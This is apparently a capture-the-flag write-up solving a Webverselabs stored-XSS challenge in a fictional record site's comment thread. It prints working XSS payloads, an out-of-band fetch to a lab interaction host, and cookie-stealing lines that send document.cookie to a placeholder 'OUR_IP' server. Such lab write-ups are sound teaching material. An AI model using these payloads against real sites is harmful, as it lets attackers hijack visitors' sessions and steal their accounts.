Webverselabs Crate & Sleeve Challenge XSS

Scenario :

Crate & Sleeve has run since 2014 on volunteer hosting and member dues — no auction bots, no eBay scraping, no premium tier. About four hundred records in rotation, a handful of moderators who scan the latest comments on their lunch break, and a codebase a college friend wrote one summer and never came back to. The comment thread is where regulars haggle over pressing variants and condition grades; it’s also the part of the site the moderators trust their members on the most.

Solution :

We first start by navigating the application just like a normal user , we create an account , use every feature , visit every endpoint , and what i found was this parameter when we visit the /listing endpoint :

I tried some basic XSS payloads on it but that didn’t work , but we do have a comment section , where we can add our comment , firt thing i like to test these quick payloads :

# Quick Checks : 

==> This will show origin IP : 
<script>alert(window.origin)</script>

==> If alert is blocked : 
<script>print()</script> 

==> If Script is blocked : 
<img src="" onerror=alert(window.origin)>

==> Cookie Exfiltration : 
#"><img src=/ onerror=alert(document.cookie)>

We find that even after refreshing the page , our payload is still there and it executes everytime we refresh the page , which means this is a Stored XSS :

Now usually to abuse a stored XSS we would host JS file where we put our payload to steal the cookie then use a different payload to go fetch for our hosted file , But before let’s check to see if we can fetch our server , for this one i will be using the Server given to us by Webverselabs to test for OOB :

Here is the payload i used :

<script>fetch('http://14b09583-4327-inscription-54577.interact.webverselabs-pro.com)</script>

Perfect , we do get a callback , now all we need to do is host our JS file , Webverselabs also allows us to host files , for cookie stealing we can use one of these 2 payloads :

document.location='http://OUR_IP/index.php?c='+document.cookie; 
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

Now all we need to do is use a payload that will fetch for our file :

<script>fetch('http://14b09583-4327-inscription-54577.interact.webverselabs-pro.com/script.js)</script>

Now once we submit this :

Each time a new user will visit this page , it will trigger our payload which will callback our server to fecth for script.js and execute it to steal their cookie :

We see that each time we get a callback which means our payloads is stored and being executed .

That was it for this challenge . See you in the next one :)